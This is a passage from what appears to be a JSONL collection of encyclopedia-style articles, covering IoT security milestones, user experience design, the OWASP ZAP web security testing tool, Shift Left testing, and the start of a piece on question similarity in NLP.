disposable, wearables in particular. IoT devices have constraints on processing, storage, battery and communication. As a result, vendors prioritize cost and efficiency over security.  One way to mitigate risks is for communication service providers (CSPs) to \"harden\" their networks in a device-independent manner. \n\n## Milestones\n\nJun  \n2010\n\nThe **Stuxnet** worm is discovered. It targeted Microsoft Windows systems and a Windows-based Siemens software used in industrial control systems. One of attacked sites was an uranium enrichment plant in Iran. In subsequent years, more related worms and spyware such as Duqu, Flame, and Gauss are discovered. Given their sophistication, security researchers believe that these are state-sponsored. \n\nSep  \n2014\n\nSecurity expert David Jacoby of Kaspersky Lab tries to hack into his own home's electronics devices and consumer appliances. He discovers a number of vulnerabilities. He's able to easily get into his smart TV, game console and storage devices. At the Security Analyst Summit (Feb 2015), other researchers explain how they could hack into police surveillance systems, car washes and fitness bands. \n\nOct  \n2016\n\n**Mirai** botnet launches DDoS attack on Dyn servers, affecting many commercial websites. Digital cameras and DVR players are used for this attack. It becomes the largest such attack to date. The process involves scanning for vulnerable devices, reporting them to the ScanListen server, installing Mirai, registering the malware with the Command and Control (C&C) server, and executing attack commands initiated by a botmaster. \n\n2017\n\nForrester Research looks at a number of critical technologies that contribute to more secure IoT systems. All of them are still in the survival or growth stages. Some of these relate to network security, API security, authentication, device hardening, threat detection and device user privacy controls. \n\nDec  \n2018\n\nOWASP releases a list of top 10 IoT vulnerabilities. This is an initiative of *The OWASP Internet of Things Project* that was started in 2014. The research community subsequently uses this list to evaluate the security of IoT systems. \n\nNov  \n2019\n\nRecognizing the threat to IoT systems, the European Union Agency for Cybersecurity (ENISA) publishes a report describing best practices for IoT security with an emphasis of Software Development Life Cycle (SDLC). This report is meant for IoT developers, integrators and system engineers. \n\nAug  \n2020\n\nUnder the ioXt Alliance Certification Program, about a dozen IoT devices become the **first devices to be certified from a security standpoint**. Certified devices include Google Pixel 4, Silicon Labs xG22 for Bluetooth connectivity, and T-Mobile home internet gateway. The Alliance launched the certification program in April 2020 and it aims to establish a global standard for IoT security. The certification program is based on *ioXt Pledge* but includes device-specific profiles such as Android-enabled devices and smart speakers.","meta":{"title":"IoT Security","href":"iot-security"}}
{"text":"# User Experience\n\n## Summary\n\n\nUser Experience (UX) is how a person feels while engaging with a product or service. For example, when an e-commerce website is easy to use and free from ads, it's a better UX. Conversely, if it's complex to navigate and hustling with ads, it gives a bad user experience. \n\nA good UX design delights the user. It touches upon the psychological aspects of user interaction. Human empathy is an important factor. A delightful UX design is useful, usable, valuable, desirable, accessible, credible and findable. \n\nGood UX designs uplift failing businesses. Conversely, a bad UX can cause losses to a firm. Statistics say every dollar invested in UX brings a hundred dollars in return. About 70% of customers give up purchases due to bad UX.  A good UX improves a product's visibility that translates into higher sales, revenue and customer loyalty.\n\n## Discussion\n\n### Isn't UX the same as the UI (User interface)?\n\nUX and UI are often mistaken for synonyms. UX deals with how we experience a product. UI is more about its look and appearance. \n\nStructurally, UX is comparable to the skeleton of a product. It takes a lot of design thinking and research. UI is akin to the body or the external form. We associate the product's colours, fonts, images, navigation and other visual elements with UI. \n\nUI is tangible, whereas UX is intangible. The first stage of product development is UX. UI comes next, and the process is recursive as the product evolves.  \n\nUX covers all types of human experiences and interactions. It doesn't restrict just to the device interface. On the other hand, UI is all about the device interface of the product or service. For instance, the UX of a food delivery app takes into account the speed of delivery. Displaying delivery time on the interface so that it's useful for the customers is a UX question. The UI bothers about putting it up on the app attractively. \n\n\n### Isn't UX the same as the interaction design?\n\nA user's interaction with a product largely shapes his/her user experience with that product, both on physical and emotional levels. Form, function and technology play important roles in this interaction. While there's considerable overlap between UX and interaction design, they're not the same. \n\nUX is interaction design and more. It's a more holistic user-centric process that includes other aspects when the user is not interacting with the product: information architecture, content strategy, visual design, sound design, industrial design, usability, and user research. For example, interaction design concerns with user flows so that users can exercise product functionality easily and effectively. Information design concerns with presenting information for better understanding. Visual design concerns with the product \"look-and-feel\". \n\n\n### What are some basic principles of UX design?\n\n**Usability**: A good UX design is easy to use and learn. It is accurate and engaging. It helps a user complete tasks effectively. Its error tolerance is high. This means it understands the user's intentions and rectifies errors automatically or with minimum effort. \n\n**Accessibility**: UX should make the product or service easily accessible to a maximum of users across the spectrum. As per a report, long-term stock prices of brands catering better to customers with disability beat their competitors.  \n\n**Hierarchy**: The flow of functionality and information is the hierarchy. UX design shall ensure that the flow is natural and easy. A well-structured hierarchy provides a great user experience. \n\n**Consistency**: Keeping the look and feel of a product or service uniform across all platforms and interfaces is vital. Fulfilling user expectations every single time is also equally important. \n\n**Context**: A UX designer should know the purpose of the product or service. An understanding of the user's emotional state should be a prime consideration. Different devices that the user may interface with warrant different design approaches. \n\n\n### Why do we need user flows in UX design?\n\nUsers go through a certain path in their interaction with a digital interface. The series of interactions from the entry point to the final stage is a user flow. Designers plan and create new user flows or alter an existing user flow using user research and feedback. It's an iterative process. \n\nDesigners need user flows to create smooth interaction for users to interact intuitively. They make communication with the stakeholders easy by visually breaking down the design components. They help at picking flaws in the existing user flows and offer a blueprint to assess any need for changes. \n\nThere are three basic types of User flows: \n\n    + **Task Flows** are suitable to describe the flow of a specific task. Users will follow a single path without branching out.\n    + **Wire Flows** convey the layout and design on a single page along with the flow. They can't accommodate dynamic interfaces. They fit best where designs pose screen limitations and demand relative simplicity.\n    + **Screen flows** are used to design the aspects of *how* a user shall interact with the product. They accommodate multiple scenarios and complex designs.\n\n### How can we leverage mental models in UX design?\n\nA mental model represents how we perceive an interaction or an experience. Our reactions to a stimulus stem from our past experiences and mental impressions. \n\nLet's take the example of a digital cart on an e-commerce website. We drop items into a cart, add on to them or remove them, checkout and then pay. This is a mental model that matches a real-world shopping experience. \n\nA mismatch between the users' mental model and the design model may occur. It is more pronounced when users don't understand the interface. Designers immersed in design projects can get stuck in their individual mental models. It's called a *designer bubble*. Designers need to keep the average user in mind to break this bubble. \n\nUX research helps us identify the gaps in the design. There are many methods such as card sorting to identify users' mental models. Reworking the designs to suit the users' mental models can minimize such mental model mismatches. \n\nOne way of addressing mental model mismatches is by making the UX and UI clearer and more transparent. \n\n\n### What's the difference between a user testing and a usability testing?\n\nUsability testing is a research methodology. A small group of real customers or users are asked to use a product, feature, or prototype. A moderator or a computer application observes their behaviour and takes feedback. It focuses on usability. It's done as a product or feature or prototype evolves. \n\nUser testing is performed to determine whether a product is needed or not. Researchers use user testing to validate product ideas. It focuses on the target audience. It's important at the beginning stages of the design. \n\nHowever, both user testing and usability testing take a user-centric approach. \n\n\n### What are some useful UX tips for designers?\n\nDesigners should focus beyond what users want. Steve Jobs said it's not the customer's job to know what they want. Giving beyond users' expectations is as important as matching their mental models. \n\nDesigner's shouldn't think UX design is only about aesthetics. The main purpose of a UX design is to solve problems. It should address the entire product or service cycle. Visual appeal alone cannot make an interface usable. \n\nDesigners must not treat UX as the last item in the product design's timeline. UX design is a work in progress. It depends on contexts and conditions that change over time. Integrating UX design later becomes costly and aesthetically difficult.  \n\nDesigner should give due importance to small details. ShopClues moved the 'Wholesale' section on its website towards the left side. It replaced the word with 'super saver' etc. This minor change increased the visits-to-order (percentage of visitors placing orders) conversion by 26%. \n\nDesigner's shouldn't assume that people read every word on a digital interface. Most people scan or skim web pages. Merely adding more words won't enrich the UX.  Using a concise choice of effective words bears maximum fruit. \n\n\n### What are some techniques used in UX design?\n\n**Heuristic evaluation**: It is useful to figure out the issues in an existing product. It assesses the usability, accessibility and effectiveness of the user experience. \n\n**Value Proposition**: This method aims to match the user's needs with a proposed product. It works from the standpoint of saleability. Unique Selling Proposition (USP) and target customers are two important considerations in the technique. \n\n**Card Sorting**: Participants organize topics into categories, make groups, and label them. This is useful to build the structure of the digital interface. The technique is cheap and easy to extract input from users. \n\n**Brainstorming**: Participants throw fresh and creative ideas among a closed group. It can be random or structured. Depending on the method, a moderator records, classifies and drafts outcomes from the session. \n\n**A/B testing**: It tests alternative versions of a product by offering them to different users. Comparing the outcomes gives a clear picture of what works best. \n\n**UX roadmaps**: These communicate the firm's UX future and the problems to solve. It is not restricted just to the UX team. It reflects the UX vision of the entire organization. \n\n\n### Could you discuss a couple of UX case studies?\n\nNew York Times app was fast losing its user base. The reasons were poor coverage, changing priorities, lacking regularity and irrelevant content. Johny Veno performed a case study. His team proposed minor changes to the landing page and called it *Timely*. *Timely* would send notifications at opportune moments in a packed day. It would send short reads at times around breakfast, commute, or a coffee break. These customized feeds would glue the readers onto the app. \n\nStacey Wang identified four pain points in the usability of the Fitbit app: \n\n    + Users had issues tracking and logging exercises on the app.\n    + Users couldn't fix a start time or set a duration for the exercises.\n    + Users found it hard to identify the right exercise type.\n    + The app didn't have an option for the user to challenge a friend.She suggested the following fixes: \n\n    + Make the exercise page easily discoverable and the choice to track and log more conspicuous.\n    + Add a button to browse all the exercise types.\n    + Add access buttons to edit start time and duration.\n    + Add a challenge button on a friend's page.\n\n\n## Milestones\n\n1960\n\nJ. C. R. Licklider introduces the concept of man-computer symbiosis. It talks about a cooperative interaction between men and electronic machines. It is one of the early stages in the evolution of **interaction design** that later becomes an integral part of UX designs.  \n\n1973\n\nXerox Palo Research Center(PARC) creates Xerox Alto personal workstation. It employ's the world's first Graphical User Interface. **Interface design** and UX are interdependent.  \n\n1976\n\nRichard Saul Wurman coins the term **Information Design**. The goal of an information design is to work around structure, context, data and information to communicate effectively. Effective communication is an essential part of UX design.  \n\n1979\n\nJohn Bennett publishes *The commercial impact of usability in interactive systems*. It is the first scientific publication with **usability** in its title, denoting what UX means later on. \n\n1984\n\nApple introduces Macintosh computer that allows the users themselves to become creators. It incorporates *skeumorphism*, a **visual design** technique that mimics real-life objects on the interface. Mac design becomes a trend setter for future UX. \n\n1986\n\nJohn Brooke invents a questionnaire to assess Digital Equipment Corporation's *System Usability Scale (SUS)*. It becomes a widely used tool to assess the usability of systems. It is a simple, ten-statement questionnaire. Researchers can use it to assess whether a system needs an update. They can also evaluate the effectiveness of system improvements and the need to invest further on UX. \n\n1988\n\nJohn Whiteside and John Bennette publish a handful of articles in *Usability Engineering*. The articles emphasize initial goal setting, prototyping and interactive evaluation. The three practices become the starting points for most UX methodologies. \n\n1995\n\nDonald Norman et al. coin the term **User Experience (UX)**. It encompasses everything that refers to what the world terms user experience. \n\n1997\n\nNetscape Communication Corporation introduces *Netscape Composer*. It is a webpage editor that gives a **WYSIWYG** (What You See Is What You Get) environment. It permits easy web formatting, editing and spellcheck. \n\n2000\n\nGarrett observes that the web was conceived as an information space. But as the technology evolved, the web is now a remote software interface. Via the web interface, users can perform complex operations or workflows. This duality has led to confusion on the terms used to describe the web. Garrett clarifies some of these terms including visual design, navigation design, information design, interaction design, and more. \n\n2004\n\nPeter Morville introduces the **UX Honeycomb**. It's a framework to evaluate a product or service through seven facets of UX. It's a widely used tool to measure the quality of user experience. \n\n2007\n\nSteve Jobs introduces the iPhone. He calls it a breakthrough product that revolutionizes the history of UX. It replaces the traditional keyboard with a finger-touch keyboard. \n\n2007\n\nThüring & Mahlke propose the *Components of User Experience (CUE) Model*. It's a comprehensive model that schematizes the core elements of UX. It's built from studying the research findings on smartphones and audio player usage. It categorizes the core UX components into perceived Instrumental qualities, emotional reactions and perceived non-instrumental qualities. Usefulness and ease of use are examples of perceived instrumental qualities. Perceived non-instrumental qualities could include aesthetic aspects, symbolisms and motivational aspects. \n\n2008\n\nTom Tullis and Bill Albert publish the first book on usability measurement. It is titled *Measuring the User Experience*. \n\n2012\n\nUsability Professionals Association (UPA) changes its name to User Experience Professionals Association (UXPA). It supports people who research and design the UX of products and services.","meta":{"title":"User Experience","href":"user-experience"}}
{"text":"# OWASP ZAP\n\n## Summary\n\n\nSoftware security testing is the process of assessing and testing software to discover security risks and vulnerabilities. Such testing could be a **passive scan** to look for vulnerabilities. Or it could be an **active penetration test** (aka pen test) that simulates malicious users attempting to attack the system. \n\nIn complex systems, it's difficult to manually determine all possible vulnerabilities. The **Zed Attack Proxy (ZAP)** is an open source tool to automatically find vulnerabilities in web applications. It's part of the *Open Web Application Security Project (OWASP)*. \n\nZAP can be used as a man-in-the-middle between browser and app server. It can also be used as a standalone application, or as a daemon process without UI. ZAP is suitable for experienced security professionals as well as web developers and functional testers.\n\n## Discussion\n\n### Why should I use ZAP?\n\nZAP is free and open source. ZAP is for experts as well as beginners. Based on Java, it's cross-platform and hence it can be used on Windows, MAC or Linux. It's also easy to install and use. It's fully documented and there are plenty of community resources to help those who are new to ZAP. It's internationalized with translated versions in many languages. We can also use it with other tools that enable CI/CD workflows. Thus, it's flexible and extensible. \n\n\n### Could you describe some important ZAP terminology for beginners?\n\nThe following may be a starting point for beginners: \n\n    + **Contexts**: Typically, a context will correspond to a web application. It's a way of grouping together a set of URLs.\n    + **Scope**: Defined by contexts, it's the set of URLs to test.\n    + **Modes**: Each mode allows for certain types of attacks. This gives flexibility while testing. Selecting the mode affects the scope.\n    + **Alerts**: An alert is a potential vulnerability. It's associated with a request. A request can have multiple alerts. An alert is flagged with a risk level: High, Medium, Low, Informational, False Positive.\n    + **Tags**: A short text associated with a request. A request can have multiple tags. Passive scanning can do automatic tagging based on preset rules.\n    + **Notes**: You can associate text with a request. These are for your reference or later action.\n    + **Add-ons**: Add extra functionality to the ZAP core. They can be installed from the online Add-on Marketplace. Examples include Ajax Spider, Diff, Forced Browse, Fuzzer, etc.\n    + **Replacer**: This is an add-on to replace strings in requests and responses.\n\n### What are the modes in which I can use ZAP?\n\nAs of version 2.5.0, ZAP can be used in one of four modes: **Safe**, **Protected**, **Standard** and **ATTACK**. As the names suggest, Safe mode will avoid anything potentially dangerous while ATTACK mode will aggressively try to attack new URLs as soon as they are discovered. You can configure the ATTACK mode behaviour using *Scan Policy*. When pen testing is desired on sites you have permission to test, Protected mode can be used. Standard mode allows for all types of attacks. \n\nIn both Safe mode and Protected mode (for URLs out of scope), ZAP will not perform certain types of attacks. These include spider crawling, active scanning, fuzzing, force browsing, breaking (intercepting) and resending requests. \n\n\n### How can I use ZAP as a proxy?\n\nZAP can be used as **intercepting proxy**. It stands between the tester's browser and the web application so that it can intercept and inspect messages sent across, and then forward them to the destination. In passive scan, message contents are not modified. In active scan, they are modified to simulate attacks. \n\nTo use ZAP as a proxy, you must update configuration in ZAP as well as the browser you intend to use for the tests. Configuring Proxies page on ZAP Wiki gives the details. Once you have configured ZAP as your browser's proxy, connect to the web app under test. ZAP should now start showing one or more entries in the Sites and History tabs. These are requests and responses that ZAP has intercepted for analysis.\n\n\n### How will ZAP determine what to test in my web application?\n\nZAP uses a mix of techniques some of which may require a test engineer's help. One of the simplest is to use the **Quick Start** add-on. You enter a URL, typically the home or sitemap URL of the web app. ZAP will crawl it using its Spider add-on. This will give ZAP a list of URLs to test. It will then do an active scan of these. \n\nFor a more in-depth test, you should put ZAP in proxy setup. Then, manually explore your application using your browser. Alternatively, perform automated regression using Selenium or similar tool. ZAP will capture all the requests and responses. It can then use them later to do an attack. \n\n\n### What is Spider?\n\nWeb spiders and crawlers are commonly used by search engines to discover Internet content. In the context of ZAP, **Spider** is an add-on. It's used to automatically discover new resources (URLs) on a particular site. It begins with a list of URLs to visit, called *seeds*, which depends on how the Spider is started. The Spider then visits these URLs, identifies all the hyperlinks in the page, and adds them to the list of URLs to visit. This process continues recursively until new resources are not found.\n\nSpider can discover URLs that are not visible as links on pages. \n\nSites that are Ajax heavy cannot be effective crawled by Spider. An alternative add-on created by Guifre Ruiz, called **Ajax Spider**, should be used. For good coverage, both spiders should be used.\n\n\n### What are Passive Scan and Active Scan?\n\nApart from using Spider, there are broadly two different ways in which ZAP looks for vulnerabilities: \n\n    + **Passive Scan**: ZAP by default passively scans all HTTP messages (requests and responses) sent to the web application. Passive scanning does not change the requests and responses in any way, and is therefore safe to use.\n    + **Active Scan**: Attempts to find potential vulnerabilities by using known attacks against the selected targets. You must perform active scan only if you have permission to test the application. *Fuzzing* is a technique that can be used as part of active scanning. With fuzzing, invalid or unexpected data is submitted to find vulnerabilities.Rules used for passive and active scans are well documented. \n\nLogical vulnerabilities, such as broken access control, will not be found by any active or automated vulnerability scanning. Manual penetration testing should always be performed in addition to active scanning to find all types of vulnerabilities. \n\n\n### Can ZAP be used as part of a CI/CD pipeline?\n\nAutomated pen testing is possible with ZAP and this is an important part of continuous integration. It helps to uncover new vulnerabilities as well as regressions of previous vulnerabilities in an environment that is changing quickly, and for which the development may be highly collaborative and distributed. In fact, ZAP is available as a plugin for Jenkins. \n\nZAP provides a Rest Application Programming Interface (API) that allows other tools to interact with ZAP programmatically. Other tools can make use of this API to trigger attacks. The ZAP API is available in JSON, HTML and XML formats. The ZAP API is particularly useful for Security Regression Tests.\n\nBeginners can use a simple web UI to explore and use the API: at `http://zap/` when you're proxying via ZAP; or via the host/port ZAP is listening on, such as `http://localhost:8080/`.\n\nAs part of cloud-based workflows, in one example, Microsoft has explained how ZAP can be used in Azure. For passive scans, it can be part of CI/CD pipelines. For longer active scans, a nightly pipeline is preferred. \n\n\n### My site runs on HTTPS. How does ZAP handle SSL certificates?\n\nSince ZAP is set up to act as a proxy between your browser and the web application, using SSL (HTTPS) will cause the certificate validation to fail and the connection to be terminated. This is because ZAP encrypts and decrypts traffic sent to the web application using the original web application certificate. This is done so that ZAP can access the plain text in the requests and responses. \n\nTo prevent this failure from happening, ZAP automatically creates an SSL certificate for each host you access, signed by ZAP's own Certificate Authority (CA) certificate. To have your browser trust these SSL certificates, you need to first import and trust the ZAP Root CA certificate. Once it is trusted, the other ZAP SSL certificates signed by it will be trusted as well. \n\nZAP Root CA certificate is required only for active scans. For passive scans, since content is not modified, the web app's original certificate can be used.\n\n\n### Could you share some user stories and case studies of ZAP?\n\nOWASP ZAP is used by countless organizations across the globe for validating their web application security postures, from governments agencies and educational institutions to large enterprises. Some of these include Mozilla, Microsoft, Ernst & Young, Accenture, and Google.\n\nIt's been commented that the alert levels flagged by ZAP don't always correspond to reality. A minor risk may be flagged as High and vice versa. Reporting is in HTML and this could be improved. \n\n\n### What are the alternatives to using ZAP?\n\nThere are plenty of alternatives to ZAP offering similar or subset of features. Some of these include Burp Suite, Nikto, Acunetix, w3af, Arachni, Andiparos, HTTP Analyzer, etc. \n\nWhen comparing alternatives, we need to consider many aspects: features, ease of installation/upgrade, ease of use, learning curve, cost, support (commercial or community), release rate (how often tool is updated), API and extensibility, available third-party integrations, etc. UpGuard's **CSTAR Score** is one way to quantitatively compare the alternatives, where CSTAR stands for *Cybersecurity Threat Assessment Report*. For example, Arachni scores only 399 whereas ZAP scores 788. \n\nCSTAR Score is also a quick and objective way for business stakeholders to assess security compliance without looking into the details. For example, an audit of the healthcare sector in 2016 revealed a low CSTAR score of 420 (danger zone). \n\n## Milestones\n\n2005\n\nBased on Java 1.4.2, **Paros Proxy** is released as a tool to test security vulnerabilities in web apps. \n\n2012\n\nSimon Bennetts forks Paros Proxy and experiments with it as a way to learn about security tools. ZAP takes its birth from here. In December, ZAP 2.0.0 is released. This release contains contributions from three GSoC (Google Summer of Code) Projects that enhance the capability of ZAP. Meanwhile, Guifre Ruiz creates **Crawljax** (aka Ajax Spider), an open-source Java spider for AJAX web apps. \n\n2014\n\nAdd-on **SOAP Scanner** is released. It comes out of GSoC2014. Scanned and detected WSDL files are now read and SOAP petitions now follow the correct format. \n\nMay  \n2015\n\nNot meant for desktop environments, **ZAP as a Service (ZaaS)** is proposed. The idea is to run in 'server' mode: \"long running, highly scalable, distributed service accessed by multiple users with different roles\". \n\n2016\n\nThe **ZAP Sonar Plugin** is available for reporting into SonarQube v6.3 or higher. The official **ZAP Jenkins Plugin** is released. This extends the functionality of the ZAP security tool into a CI environment. \n\n2017\n\nIntroducing the **JxBrowser** add-on for ZAP. With **ZAP Browser Launch** we can now launch a browser from within ZAP. In November, ZAP 2.7.0 is released.","meta":{"title":"OWASP ZAP","href":"owasp-zap"}}
{"text":"# Shift Left\n\n## Summary\n\n\nA typical software development process is sequential (1970s-1990s): define requirements, analyse, design, code, test and deploy. In this process, testing happens towards the end. Problems uncovered by testing at such a late stage can cause costly redesign and delays. The idea of Shift Left is to involve testing teams earlier in the process and to think about testing at all stages of the process. \n\nWhen the software development process is viewed as a left-to-right sequential process, doing testing earlier may be seen as \"shifting it to the left\". The term itself can be seen as a misnomer since we are not simply \"shifting\" but doing tests at all stages of the process.\n\nShift Left as a principle started with testing but it's beginning to be employed in other disciplines such as security and deployment.\n\n## Discussion\n\n### What exactly do we mean by the term \"Shift Left\"?\n\nThe principle of Shift Left is to take a task that's traditionally done at a later stage of the process and perform that task at earlier stages. An example of this is testing. With the traditional Waterfall model, testing is done just before releasing the product into production. This means that serious problems uncovered so late can cause major redesign and long delays. **Shift Left Testing** addresses this by involving testing teams early in the process. Issues, be it in design or code, can be solved early on before they become major. In fact, shift-left is less about problem detection and more about problem prevention. \n\nShift Left doesn't mean \"shifting\" the position of a task within a process flow. It also doesn't imply that no testing is done just before a release. It should be seen as \"spreading\" the task and its concerns to all stages of the process flow. It's about continuous involvement and feedback. In addition to the process changes, Shift Left is also about the people. For example, testing teams must now work more closely with development teams.\n\n\n### What are the key benefits of Shift Left?\n\nShift Left identifies potential roadblocks and bottlenecks early on when there's still scope to change and improve design. Problems are addressed long before release without giving into pressure of an imminent deadline. There's obvious cost savings for the project since problems identified earlier are cheaper to fix. Shift Left reduces risk since many issues are addressed long before the release. Releases can be made faster with better quality. \n\nAutomation is essential. This reduces human errors, increases test coverage and lets testers focus on more inspiring tasks. \n\nSince teams work closely, some level of whitebox testing can be done. It's also easier to estimate effort and plan for resources. Often debugging problems in production is hard and shift-left ensures most problems are caught much earlier, where they are easier to debug and fix. \n\n\n### In what disciplines of software development is Shift Left applied?\n\nShift Left is being used in the following disciplines:\n\n    + **Testing**: It's in testing that Shift Left started. It aligns with Agile practices such as *Test-Driven Development (TDD)* and *Behaviour-Driven Development (BDD)*. For example, by doing integration testing earlier, design can be changed more easily.\n    + **Security**: Security is addressed right from the development stage. When combined DevOps, we get what we call *DevSecOps*. Security standards must be in place. Security folks must use the same tools as DevOps and be empowered to fix code on their own. Shift-lefting for security is particularly important for open source code.\n    + **Deployment**: When apps are in the cloud, continuous deployment has become common practice to quickly deliver latest fixes and features. The use of templates, patterns and automation streamlines this. Building, provisioning and deploying of software is automated. In fact, continuous deployment enables continuous testing.\n    + **Design**: Poor requirements can lead to a product not aligned with business needs. Going beyond requirements, the entire team can adopt a design thinking mindset. Everyone would have a shared vision of the product.\n\n### Are there different types of Shift Left Testing?\n\nShift Left has been compared to a production line with raw materials on the left moving towards finished goods on the right. It's also been compared to kanban boards with completed tasks moving from left to right. In all cases, Shift Left is about getting involved at an early stage, which happens \"to the left\".\n\nWhile shift-left testing is really about continuous testing, four types have been identified: traditional shift left, incremental shift left, Agile/DevOps shift left and model-based shift left. With **model-based shift left**, testing can begin even before a software implementation is ready. Tests are against executable requirements, architecture, and design models. \n\n\n### How can I get started with Shift Left?\n\nWith regard to testing, developers can take up some testing tasks (unit tests for example) while testers need to learn to code. This will help them collaborate better and automate tests. They also need to use the same tools. By adopting TDD or BDD, a project will start with testability in mind. At the least, static testing plans, automation scripts and API tests can be written even before development starts. Test managers must move to new roles as shift-left testing could make them redundant. \n\nSmall iterative changes along with collaboration across teams, code reviews, automation and monitoring are all part of applying Shift Left. Workflows should be defined and followed. Configurations should be immutable and scripted, avoiding ad hoc changes. Give tools and dashboards to developers for insights into production. Developers should be able to see failures at all stages. It's important to be proactive rather than reactive. \n\nDeployment procedures should be standardized so that the development and production environments are as close as possible. Use patterns to get consistent environments. Development and operations should work closely rather than in silos. \n\n\n### What are some myths about Shift Left?\n\nOne of the myths is that testing is done by developers and hence QA teams will become redundant. In reality, QA teams will work more closely with development teams. Developers will be aware of testing needs. Testers will get insights into what's being developed. A related myth is that Shift Left is not aligned to Agile practices. This myth is also busted since greater collaboration between QA and development teams means that they can iterate faster. \n\nAnother myth is that the return on investment is not proven. In fact, studies have shown that fixing problems at a later stage is very costly. \n\nAnother myth is that there are no tools to aid in shifting left. In reality, Shift Left is about processes, people and tools. Automation tools play an important role. Same tools that can be used by multiple teams, including testing tools within a development environment, ease the implementation of Shift Left. Behaviour-Driven Development (BDD), Continuous Integration and Continuous Deployment rely on automation and help accelerate Shift Left. \n\n\n### I've heard of Shift Right. Does it replace Shift Left?\n\nNo. Shift Right complements Shift Left. As of 2018, Shift Right is commonly used for testing.\n\nShift-left testing is about improving quality, testing often, shortening test cycles and automation. It's about checking for expected software behaviour. What about undefined, unknown or unexpected behaviours? What about performance, user experience or fault tolerance? Production environments with live traffic and real users are different from typical test environments. This is where shift-right testing comes in. \n\nWith **shift-right testing**, testing is done in production where you may find unexpected behaviour. It involves deploying small changes to production, monitoring closely and reacting quickly if failures happen. Software deployed for shift-right testing is not done and dusted. It has to be monitored and rolled back if needed. With shift-right testing, you can gather user feedback and improve test coverage. \n\nAmong the approaches to shift-right testing are duplicating live traffic for test purpose, A/B testing and canary deployments. **Chaos engineering**, implemented with tools such as Chaos Monkey, can be considered as a form of shift-right testing. \n\n## Milestones\n\n1950\n\nIn the 1950s, software is often developed and tested by the same people. It's therefore common practice to test continuously. There are no separate testing or QA teams, which come later. \n\n1970\n\nWinston Royce describes the different steps in building large software systems. In his description, testing happens towards the end of the development cycle. Royce himself clams that this is \"risky and invites failure\". Unfortunately, software teams adopted this approach while ignoring Royce's recommendations towards an iterative approach. This top-down unidirectional flow is later named the **Waterfall Model**.\n\n1990\n\nThe 1990s is the decade when teams realize that the Waterfall model is not working out. The principle of Shift Left begins in this decade. \n\n2001\n\nThe use of the term *Shift-Left Testing* appears in an article published at Dr.Dobb's. The author Larry Smith writes,\n\n> Shift-left testing is how I refer to a better way of integrating the quality assurance (QA) and development parts of a software project.","meta":{"title":"Shift Left","href":"shift-left"}}
{"text":"# Question Similarity\n\n## Summary\n\n\nIn some applications, there's a need to compare two questions and determine how similar they are. In Information Retrieval (IR), it may be necessary to compare the incoming query against questions stored in the system database. This helps the IR system give a suitable response.  \n\nQuestion similarity involves a few basic aspects: pre-processing to reduce words and phrases to a form suited to the task, representing questions in efficient vector forms, defining features and selecting models to bring out the similarity, and defining a similarity measure to objectively compare the questions.  The task benefits from lexical, syntactic and semantic features. \n\nQuestion similarity is part of a more general NLP task called **Semantic Textual Similarity (STS)**. STS involves comparing two sentences, two paragraphs or even two documents. Question similarity is also closely related to the task of question answering.\n\n## Discussion\n\n### Could you explain question similarity with some examples?\n\nConsider the pair \"How old are you?\" and \"What is your age?\" These are semantically equivalent. Consider the pair \"How are you?\" and \"How old are you?\" These are semantically different even when they differ by only one word. Thus, question similarity is usually about the meaning or intent of the questions, not about how many common words they share. A useful definition is, \n\n> Two questions are semantically equivalent if they can be adequately answered by the exact same answer.\n\nDetermining semantic equivalent is a challenging problem. Consider the pair \"Which Star Wars episode should I watch?\" and \"I have so much of a life that I'm at home watching Star Wars.\" Topic \"Star Wars\" can mislead a model into thinking these two are similar. \n\nAnother example is the pair \"How to declare an array in Python?\" and \"How to create a fix size list in python?\" In Python terminology, arrays are often referred to as lists. A model that lacks this knowledge, when asked the first question, might instead match \"How do I declare and initialize an array in Java?\" \n\n\n### What are some applications of question similarity?\n\nOn **knowledge-sharing platforms** such as Quora and StackExchange, people post questions. Question similarity detects similar questions, possibly already answered. Moderators may review this information to mark duplicates. These sites also list related questions as a useful feature for readers.  \n\nIn **chatbot applications** or with **voice assistants**, a user may ask a question but that exact question may be unavailable in the system. Question similarity identifies questions that're closest in terms of semantics or user intent. The user is then presented these interpretations or if possible directly give an answer. \n\nIn general, any **Information Retrieval (IR)** system can benefit from question similarity.  For example, when a user asks Google \"how to bake a cake\", Google will provide search results but also include a section titled *People also ask*. This section lists a handful of related questions such as \"How do you bake a cake in 10 steps?\" and \"What are the ingredients used in baking cake?\" \n\nWhere **exam papers** use automatically generated questions or pick questions from a question bank, question similarity ensures that similar questions are not picked for the same paper. \n\n\n### How should I prepare the data for question similarity?\n\nLike other NLP tasks, question similarity involves data collection, exploratory data analysis, pre-processing, feature extraction, model training and evaluation. The idea of pre-processing data is to make it suitable for a given task and also remove unclean or wrong data. Other steps of the process might also influence the selection of pre-processing steps.\n\nFor example, if Jaccard similarity measure is used, we may do case normalization, tokenization, stopwords removal, punctuation removal, and lemmatization. Where there are many stopwords, Soft Cosine similarity will be higher if they're not removed. However, removing stopwords gives poorer results with BM25 (used in IR applications) and Translation-Based Language Model. \n\nOn short form Twitter data, Dey et al. suggested topic phrase removal, slang normalization (eg. aaf vs as a friend), named entity boundary correction (eg. Colorado Ravens and Ravens are probably the same concept), named entity tag cleaning, and synonym/hypernym replacement using WordNet (eg. quick vs fast). \n\n\n### How can I represent questions for the task of question similarity?\n\nBefore questions can be compared, we need to represent them in a form that algorithms can efficiently process and compare. This is done after data pre-processing. The simplest techniques are TF-IDF, bag-of-words model, and n-gram model. \n\nSince the mid-2010s, word embeddings are popular. Word embeddings are multi-dimensional vectors containing real values. Words that are similar tend to occur close to one another in the vector space. Such embeddings are learned by training on huge amounts of real-world text. GloVe and word2vec are well-known word embeddings. **Contextualized word embeddings** such as BERT and ELMo capture context as well. \n\n**Sentence embeddings** can be learned from a weighted sum of word embeddings. By using Principal Component Analysis (PCA) and removing the projections of the average vectors on their first principal components, embeddings have shown to perform better on text similarity tasks. \n\nUniversal Sentence Encoder is another approach to sentence or question embeddings. Cer et al. have shown that transfer learning via sentence embeddings perform better than via word embeddings. Sentence-BERT used BERT to learn sentence embeddings. \n\n\n### How should I select features for text similarity?\n\nFeatures can be lexical, either character-level or word-level n-grams. Syntactic features include words along with their POS tags, named entities and verb similarity. Semantic features include words and phrases that semantically overlap, with help from WordNet. \n\nSome basic features could include number of words or characters, uppercase words, last words, first words, adjectives, nouns, ratio of the common words to words, fuzz ratio (from Python's FuzzyWuzzy package), etc.  Exploratory data analysis may show that only some of these are actually useful. Such features are commonly 